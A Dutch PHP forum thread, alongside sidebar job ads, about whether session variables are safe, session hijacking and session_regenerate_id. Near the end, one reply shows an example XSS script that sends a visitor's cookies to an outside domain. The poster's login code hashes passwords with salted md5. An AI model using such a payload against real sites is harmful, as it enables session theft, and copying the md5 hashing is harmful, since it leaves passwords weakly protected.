Session veilig?

Overzicht Reageren

Sponsored by: Vacatures door Monsterboard

Java developer Zorgsysteem

Dit ga je doen Werken aan het eigen gebouwde zorgsysteem; Verbeteringen maken en toepassen binnen de applicatie; Jij gaat werken aan de Back-end van de applicatie en sporadisch werk je mee aan de Front-end; Samenwerken met andere teams voor een optimaal resultaat; Jij kan 'clean' werken en high quality code schrijven; Jij werkt resultaatgericht. Hier ga je werken De organisatie houdt zich bezig met diverse applicaties met betrekking tot zorgregistratie. Dankzij hun systeem komt alle informatie, omtrent de zorg van een patiënt, op een overzichtelijke en toegankelijke manier samen in één systeem te staan. Op deze manier is deze informatie

Bekijk vacature »

PHP Developer

Functieomschrijving Wij zijn op zoek naar een PHP Developer met Laravel ervaring! Voor een groeiende werkgever in regio Breda zijn wij op zoek naar een medior PHP developer met Laravel ervaring. Je gaat aan de slag met het ontwikkelen van maatwerk software voor klanten in een specifieke markt. Als PHP developer ben je samen met een gemotiveerd team van 6 collega’s verantwoordelijk voor de ontwikkeling, beheer en het innoveren van informatiesystemen voor klanten in een specifieke branche. Als software developer ondersteun je complexe uitdagingen van klanten. Je brengt hun wensen in kaart en vertaalt deze door naar maatwerk software. Om

Bekijk vacature »

Junior Java Developer

Dit ga je doen Full stack web- en appdevelopment; Vertalen van de functionele wensen naar de technische specificaties; Sturing geven aan/klank board zijn voor de software teams; Trainen van de software teams; Sparren met klanten; Meedenken over architectuur. Hier ga je werken De organisatie is een bureau welke websites en mobiele applicaties bouwt voor verschillende toonaangevende organisaties. Hierbij richten zij zich voornamelijk op de sectoren leisure, overheid en zorg. De sfeer intern kenmerkt zich door informaliteit, gezelligheid en ambitie. Ze werken dag in dag uit samen om mooie producten op te leveren voor hun klanten. Op dit moment zijn er

Bekijk vacature »

.NET Developer C# VB

Samengevat: Deze werkgever is actief in software voor het matchen van vraag en aanbod van gebruikte auto-onderdelen. Ben jij een .NET Developer? Heb je ervaring met het ontwikkelen (REST) en integreren van webservices? Vaste baan: C# .NET Developer C# VB HBO €2.600 - €6.200 Wij ontwikkelen software om vraag en aanbod van onderdelen van personenauto's bij elkaar te brengen. Deze werkgever is een veelzijdige organisatie. Je werkt voor de eigen IT organisatie. Zij werken met moderne technologie en staan open voor innovatie. De branche van dit bedrijf is Automotive. Functie: Voor de vacature als .NET Developer Dordrecht HBO ga je

Bekijk vacature »

Senior Front end developer

Functie Wij zijn op zoek naar een ambitieuze, zelfsturende Front-end Expert die ons (internationale) team komt versterken. Onze huidige software development afdeling bestaat uit 7 developers en designers. Wij zijn een écht softwarehuis, dus ervaring in software development is wel echt een must. Er wordt tegelijkertijd aan meerdere projecten gewerkt, voor mooie toonaangevende klanten. Je hebt dus regelmatig te maken met deadlines en opleveringen. Een deel van onze omgeving is in Angular.JS. Dit deel wordt langzamerhand omgebouwd naar de nieuwste versie van Angular. Jouw werkzaamheden zullen bestaan uit: Het aansturen en begeleiden van jouw collega’s Het implementeren van visuele elementen

Bekijk vacature »

Airport Developer / System engineer

De functie Als onze nieuwe Airport Developer / System Engineer is je doel om uit nieuwbouw- en onderhoudsprojecten maximale waarde te creëren voor Schiphol Group en haar stakeholders. Vanuit je visie en expertise, maar ook (technologische) ontwikkelingen, wetgeving en beleid vertaal je klantwensen naar een gedegen programma van eisen. In de planontwikkelingsfase werk je nauw samen met Plan Ontwikkelaars om je kennis in te brengen ten behoeve van de kwaliteit van het investeringsvoorstel. Je overlegt met diverse partijen, stelt de vraag achter de vraag en verbindt zo de belangen van de luchthaven, proceseigenaar en asseteigenaar om tot een gedragen ontwikkelopgave

Bekijk vacature »

OutSystems Developer

Dit ga je doen Het van scratch af aan ontwikkelen van applicaties met OutSystems; Het aanhaken bij diverse projecten binnen de organisatie; Schakelen met de business; Meedenken over de mogelijkheden van het platform binnen de organisatie. Hier ga je werken Deze organisatie is een toonaangevende speler in de vastgoedbranche en telt momenteel ruim 500 medewerkers. Met meer dan 150 applicaties staat er een complex applicatielandschap, bestaande uit standaard- en maatwerkapplicaties. De maatwerkapplicaties worden ontwikkeld door een inhouse development team. Het doel voor de komende periode is het verder vernieuwen en optimaliseren van het huidige applicatielandschap. Zo staat de organisatie aan

Bekijk vacature »

C# developer

Functie Als ervaren Software Engineer wordt jij verantwoordelijk voor het bedenken en ontwikkelen van technische (maatwerk) oplossingen voor onze klanten en dit samen met de klant af te stemmen. Jij wordt o.a. verantwoordelijk voor de doorontwikkeling het software pakket welke voor ons enorm belangrijk is. Dit pakket zorgt er namelijk voor dat wij complete productielijnen kunnen aansturen en monitoren. Daarnaast heb jij actief contact met onze hoofdvestiging om het software achter een van onze systemen te verbeteren en te herschrijven. Momenteel zijn onze C# applicaties geschreven met o.a. Winforms. Echter hebben wij de actieve ambitie om dit te gaan herschrijven

Bekijk vacature »

PHP developer - Digital Agency

Functie Het team telt momenteel 20 collega’s, bestaande uit developers (front- en backend) en het operations team, waaronder ook het management en twee scrum masters vallen. Ze zijn op zoek naar een PHP developer die in staat is zelfstandig te werken. Je komt te werken in één van de drie scrumteams en gaat aan de slag met een project voor de klant. Het fijne hieraan is dat je wel afwisseling hebt qua werk, maar tegelijkertijd doorlopend werkt voor bestaande klanten. Hierdoor krijg je ook de kans om echt de diepte in te gaan en innovatieve technische oplossingen neer te zetten.

Bekijk vacature »

Cymer Patch Server Developer

Vacature details Vakgebied: Software/IT Opleiding: Senior Werklocatie: Veldhoven Vacature ID: 12919 Introductie This new patch server will be built on Python and Django ReST and GraphQL services with a React frontend, it will consist of several microservices and run on a Kubernetes cluster. It will be supported by several middleware applications such as ElasticSearch, Redis, RabbitMQ, Oracle and Artifactory. Functieomschrijving The Patch Admin team always aim to deliver software at a high quality, we avoid sacrifices here to maintain our velocity. Practically this means that we practice test driven development and perform end-to-end automated testing on our software. This means

Bekijk vacature »

Oracle APEX developer

Wat je gaat doen: Als Oracle APEX ontwikkelaar bij DPA werk je samen met collega’s aan de meest interessante opdrachten. Je zult je ervaring met SQL, PL/SQL, JavaScript, HTML en CSS inzetten om wensen van opdrachtgevers te vertalen naar technische oplossingen. Je werk is heel afwisselend, omdat DPA zich niet beperkt tot een specifieke branche. Zo ben je de ene keer bezig binnen de zorgsector, de andere keer is dit bij de overheid. Wat we vragen: Klinkt goed? Voor deze functie breng je het volgende mee: Je hebt een hbo- of universitaire opleiding afgerond Je hebt 2 tot 5 jaar

Bekijk vacature »

Oracle Developer / PL SQL

Dit ga je doen Software ontwikkeling aan een internationaal gebruikt pakket; Werken met technieken als Oracle 19c, Toad, PL/SQL, Oracle Forms, Reports en Designer; Meedraaien in internationale projecten; Meedenken over technisch en functioneel ontwerp; Samenwerken met collega's als Informatie Analisten, Testers en Release Managers; Soms wensen en eisen afstemmen met de business. Hier ga je werken Onze klant, een internationaal bekend bedrijf dat essentiële producten maakt waar iedereen graag gebruik van maakt, zoekt versterking in het Software Development team. Samen met 3 developers, een release manager, een informatie analist en 3 testers werk jij aan een systeem waarmee complexe producten

Bekijk vacature »

.NET developer

Functie The position we have for you As a .NET developer you will work for one of our customers active in the High Tech Industry. Our customers are mainly located in the Eindhoven area. We are very selective when it comes to the projects we accept and therefore only focus on innovative and complex projects. Because our customers are mainly specialized in machine construction, you often work close to the machines. Our team currently consists of Embedded engineers, IOT developers and Cloud engineers. We mainly work on Microsoft projects where WPF, UWP, .NET Core and Microsoft Azure are used. Eisen

Bekijk vacature »

Software Developer

Dit ga je doen Je bent verantwoordelijk voor de warehouse applicatie die een integratie heeft met de PLC laag; Je ontwikkelt in C#/.Net; Je bent verantwoordelijk voor het ontwikkelen van interfaces en het visualiseren van componenten; Je denkt mee over het design voor business oplossingen; Je bent verantwoordelijk voor het testen van de gebouwde oplossing. Hier ga je werken Voor een internationale organisatie in de transport zijn wij momenteel op zoek naar een Software Developer. Ze zijn wereldwijd de grootste speler en lopen voorop met het automatiseren van alle processen van de warehouses. Op dit moment wordt er nog gebruik

Bekijk vacature »

Lead C++ Developer

The role of Lead C++ Developer As Lead C++ Developer at KUBUS you will be responsible for the implementation design of requirements and the software architecture of the desktop applications of BIMcollab, our platform for 3D model validation and issue management aimed at improving the quality of 3D building design models. Better 3D models lead to better buildings, thus contributing to the sustainability of the built environment with smarter use of materials, less waste and energy-efficient buildings. A good user experience is of paramount importance to us; we go for innovation and quality in our development. In your role as

Bekijk vacature »
Francoi gckx

Francoi gckx

22/01/2013 21:34:28
Quote Anchor link
Als je inlogt word een aantal $_SESSION's aangemaakt, bijv $_SESSION['username'];

Is dit veilig, kan iemand zonder in te loggen toch een $_SESSION['username'] hebben?

Dubbelpost verwijderd, verder in dit topic.[/modedit]
Gewijzigd op 22/01/2013 23:51:10 door Bas IJzelendoorn
 
PHP hulp

PHP hulp

27/05/2026 13:57:50
 
Eddy E

Eddy E

22/01/2013 21:36:30
Quote Anchor link
Nee, want die maak je op de server zelf aan.
Ik kan niet op jouw server (die van je website) $_SERVER aanmaken.

Maar je moet wel goed beveiligen WAAR je ['username'] aanmaakt. Dus het inloggen moet wel kloppen.
 
Francoi gckx

Francoi gckx

22/01/2013 21:39:09
Quote Anchor link
Ok dan zit het denk ik wel goed, bedankt!
 
Chris PHP

Chris PHP

23/01/2013 07:40:30
Quote Anchor link
@Eddy,
Er is zoiets als session hijacking, ik had verwacht dat je dit wel zou weten eerlijk gezegt. Het is dus mogelijk dat hackers meeliften op een sessie van een gebruiker, en zo verder kunnen gaan.

Waarom zou je tevens een $_SERVER moeten aanmaken? Terwijl het hier om $_SESSION gaat?

@Francoi,
Niets is 100% veilig, er zijn altijd manieren. Zorg ervoor dat je geen gevoelige informatie opslaat in een sessie, deze kunnen wel degelijk uitgelezen worden. Een session_id wordt opgeslagen in een cookie op de pc van de gebruiker, dus deze id bemachtigen is niet al te moeilijk.
 
Kees Schepers

kees Schepers

23/01/2013 08:33:42
Quote Anchor link
Daarom moet je altijd net voordat iemand ingelogd is (dus na de post maar voor je de sessie aanmaakt) de sessie vernieuwen met:

session_regenerate_id(true);

Dan is session hijacking al een stuk lastiger, al dan niet meer mogelijk ;)
 
Dennis WhoCares

Dennis WhoCares

23/01/2013 08:52:20
Quote Anchor link
Session hijacking is toch wel interessant.
Ikzelf maak gebruik van mn database, waar mijn sessies opgeslagen worden
(unieke ID met username en ip adress van de gebruiker)
Vervolgens wordt t ip gecontrolleerd en de sessie.
Is dit te hijacken ?
 
Francoi gckx

Francoi gckx

23/01/2013 09:28:33
Quote Anchor link
Wat doet session_regenerate_id(true) precies? (heeft u een voorbeeld?)

En moet ik het letterlijk voordat ik een session aanmaak of bovenaan de login script na session_start?
Gewijzigd op 23/01/2013 09:28:55 door Francoi gckx
 
- SanThe -

- SanThe -

23/01/2013 10:04:31
Quote Anchor link
Francoi gckx op 23/01/2013 09:28:33:
Wat doet session_regenerate_id(true) precies? (heeft u een voorbeeld?)

En moet ik het letterlijk voordat ik een session aanmaak of bovenaan de login script na session_start?


Kijk zelf even op php.net:
http://nl.php.net/manual/en/function.session-regenerate-id.php
 
Francoi gckx

Francoi gckx

23/01/2013 10:36:49
Quote Anchor link
Ik ben een beginner en die link is niet echt voor beginners
 
Chris PHP

Chris PHP

23/01/2013 10:39:18
Quote Anchor link
@Francoi,
Overal waar je sessies gebruikt moet bovenaan de pagina session_start() staan. Dus echt als een van de eerste regels! Anders wordt er op die pagina geen sessie gebruikt.

Dus niet alleen op je inlog pagina, maar ook op de pagina's waar de gebruiker voor ingelogd moet zijn.

Tevens is de link van SanThe vrij duidelijk met session_regenerate_id(true); maakt hij een nieuwe sessie id aan.


@Kees,
Dan maakt hij voor die sessie alleen een nieuwe id aan, dat blijft ie de gehele sessie en staat lokaal in de cookie. Hijacking blijft dan nog steeds mogelijk zolang de gebruiker is ingelogd.
Wil je het goed doen, moet je dit op elke pagina waar sessies gebruikt worden doen.

@Dennis,
Wordt dat per sessie gedaan? Of eenmalig?

Als het eenmalig is kan de gebruiker dus nooit via een andere omgeving inloggen, aangezien hij daar een ander ip krijgt.

Wordt het per sessie gedaan maakt het stukken lastiger, echter is het vrij makkelijk om je ip te wijzigen naar wat je wil voor de buitenwereld. Dan moeten ze uiteraard wel het ip hebben, en je externe ip van je provider kan alleen veranderen wanneer je bijvoorbeeld je modem reset.

Dus de controle op ip is ook niet waterdicht.
Gewijzigd op 23/01/2013 10:42:32 door Chris PHP
 
Francoi gckx

Francoi gckx

23/01/2013 10:45:30
Quote Anchor link
Chris NVT op 23/01/2013 10:39:18:
@Francoi,
Overal waar je sessies gebruikt moet bovenaan de pagina session_start() staan. Dus echt als een van de eerste regels! Anders wordt er op die pagina geen sessie gebruikt.

Ja dat van session_start begrijp ik maar ik had het over session_regenerate_id

Maar bijvoorbeeld in login.php

1.Het begint met session_start() bovenaan (moet ik session_regenerarate_id onder session_start gelijk gebruiken?)

2. Dan komen de controlles als er niks ingevuld is of onjuiste email

3. Als 2 goed is dan:

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
// create query
        if ($stmt = $mysqli->prepare("SELECT members.id, permissions.name FROM members, permissions WHERE username=? AND password = ? AND members.type = permissions.id"))
        {

            $stmt->bind_param("ss", $input['user'], md5($input['pass'] . $config['salt']));
            $stmt->execute();
            $stmt->bind_result($id, $type);
            $stmt->fetch();
            
            // check if there is a match in the database for the user/password combination
            if ($id)
            {

                // close statement
                $stmt->close();
                
                // set session variable
                $_SESSION['id'] = $id;
                $_SESSION['type'] = $type;
                $_SESSION['username'] = $input['user'];
                $_SESSION['last_active'] = time() - 60 * 60 * 24;
                
                // redirect to member's page
                header("Location: members.php");
            }

?>


5. Waar moet ik hier session_regenerate_id gebruiken, was mijn vraag?
 
- SanThe -

- SanThe -

23/01/2013 10:46:13
Quote Anchor link
Chris NVT op 23/01/2013 10:39:18:
je externe ip van je provider kan alleen veranderen wanneer je bijvoorbeeld je modem reset.

Dus de controle op ip is ook niet waterdicht.


Mobieltjes hebben (vaak) bij elk request een ander IP.
IP-checken is dus eigenlijk zinloos.
Gewijzigd op 23/01/2013 14:58:48 door - SanThe -
 
Chris PHP

Chris PHP

23/01/2013 10:47:12
Quote Anchor link
Francoi gckx op 23/01/2013 10:45:30:
Ja dat van session_start begrijp ik maar ik had het over session_regenerate_id

Altijd na session_start();
Gewijzigd op 23/01/2013 10:49:55 door Chris PHP
 
Francoi gckx

Francoi gckx

23/01/2013 10:50:08
Quote Anchor link
Ja sorry voor de onduidelijkheid maar ik bedoel met "voordat ik een session aanmaak" niet session_start
maar
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
<?php
// set session variable
                $_SESSION['id'] = $id;
                $_SESSION['type'] = $type;
                $_SESSION['username'] = $input['user'];
                $_SESSION['last_active'] = time() - 60 * 60 * 24;
?>


Zie mijn vorige post
 
Chris PHP

Chris PHP

23/01/2013 10:51:33
Quote Anchor link
@Francoi,

Je kunt het gewoon onder session_start(); zetten op je inlogpagina.
 
Francoi gckx

Francoi gckx

23/01/2013 10:51:37
Quote Anchor link
Ok dus ter bevestiging moet ik dit bovenin zetten:

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
<?php session_start();
session_regenerate_id(true) (dat worden de eerste twee regels)

Ok bedankt Chris
Gewijzigd op 23/01/2013 10:52:08 door Francoi gckx
 
Kees Schepers

kees Schepers

23/01/2013 14:25:35
Quote Anchor link
Chris NVT op 23/01/2013 10:39:18:
@Kees,
Dan maakt hij voor die sessie alleen een nieuwe id aan, dat blijft ie de gehele sessie en staat lokaal in de cookie. Hijacking blijft dan nog steeds mogelijk zolang de gebruiker is ingelogd.
Wil je het goed doen, moet je dit op elke pagina waar sessies gebruikt worden doen.


Hijacking werkt toch als volgt:

Gebruiker A die gaat naar een website en ziet daar een login scherm. Gebruiker B (de hacker) steelt de cookie / sessionid van gebruiker A. Gebruiker A gaat inloggen op de site en doet wat hij verder moet doen. Gebruiker B heeft zijn sessie gekopieerd en is daarmee ook automatisch ingelogd.

Als bovenstaande klopt, los je het toch op door de sessie ID te veranderen net voor gebruiker A is ingelogd? Want als gebruiker A ingelogd is, dan heeft gebruiker B een ongeldige sessie ID in zijn cookie staan waar hij niks mee kan.

Mocht mijn verhaal niet kloppen licht het dan eventjes toe, ben ik wel benieuwd wat leer ik er ook weer wat van :)

Aan de andere kant; als je sessie ID gestolen wordt nadat je ingelogd bent, ben je ook de lul :P is het daarom goed om elke pagina de sessie te vernieuwen?
Gewijzigd op 23/01/2013 14:27:25 door kees Schepers
 
Ozzie PHP

Ozzie PHP

23/01/2013 14:44:24
Quote Anchor link
Kees Schepers op 23/01/2013 14:25:35:
Gebruiker A die gaat naar een website en ziet daar een login scherm. Gebruiker B (de hacker) steelt de cookie / sessionid van gebruiker A.

Hoe zie je dit precies voor je? Hoe kan gebruiker B de sessie van gebruiker A stelen?

Volgens mij wordt sessie kapen met bruteforce aanvallen gedaan. Er wordt door de hacker telkens een cookie gemaakt met een andere sessie-id, totdat hij een keer "beet" heeft. Het maakt dan niet uit of je wel of niet ingelogd bent.

Wat je zou kunnen doen is een extra cookie gebruiken met een of andere hash daarin. Bezoeker A komt op de site en er wordt een sessie gestart. Tegelijkertijd wordt er een cookie op zijn computer gezet met een hash. Hacker B gaat bruteforcen en vindt op een gegevens moment de sessie-id van bezoeker A. Aangezien hij niet beschikt over de extra cookie met daarin de hash, kan hij de sessie niet overnemen. Het systeem ziet nu dus dat de sessie gehackt is, maar dat de hash niet klopt. Op dat moment moet de complete sessie worden vernietigd.
Gewijzigd op 23/01/2013 14:45:01 door Ozzie PHP
 
Kees Schepers

kees Schepers

23/01/2013 15:19:08
Quote Anchor link
Met een javascript exploit kan ik vrij eenvoudig jouw cookies stelen hoor :)

Stel dat prive berichten op phphulp niet goed tegen XSS waren beschermt stuurde ik je een prive bericht met:

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<script>
window.location = 'keesje.nl/index.php?cookies=' + document.cookies;
</script>


En mijn index.php stuurt jouw met een PHP header redirect weer terug naar phphulp. Gevolg is dat je denkt dat er een fout in de site zit en je bijna niet merkt dat je omgeleid wordt.
 
Ozzie PHP

Ozzie PHP

23/01/2013 15:32:13
Quote Anchor link
ah oke... sneaky ;-)
 



Overzicht Reageren

 
 

Om de gebruiksvriendelijkheid van onze website en diensten te optimaliseren maken wij gebruik van cookies. Deze cookies gebruiken wij voor functionaliteiten, analytische gegevens en marketing doeleinden. U vindt meer informatie in onze privacy statement.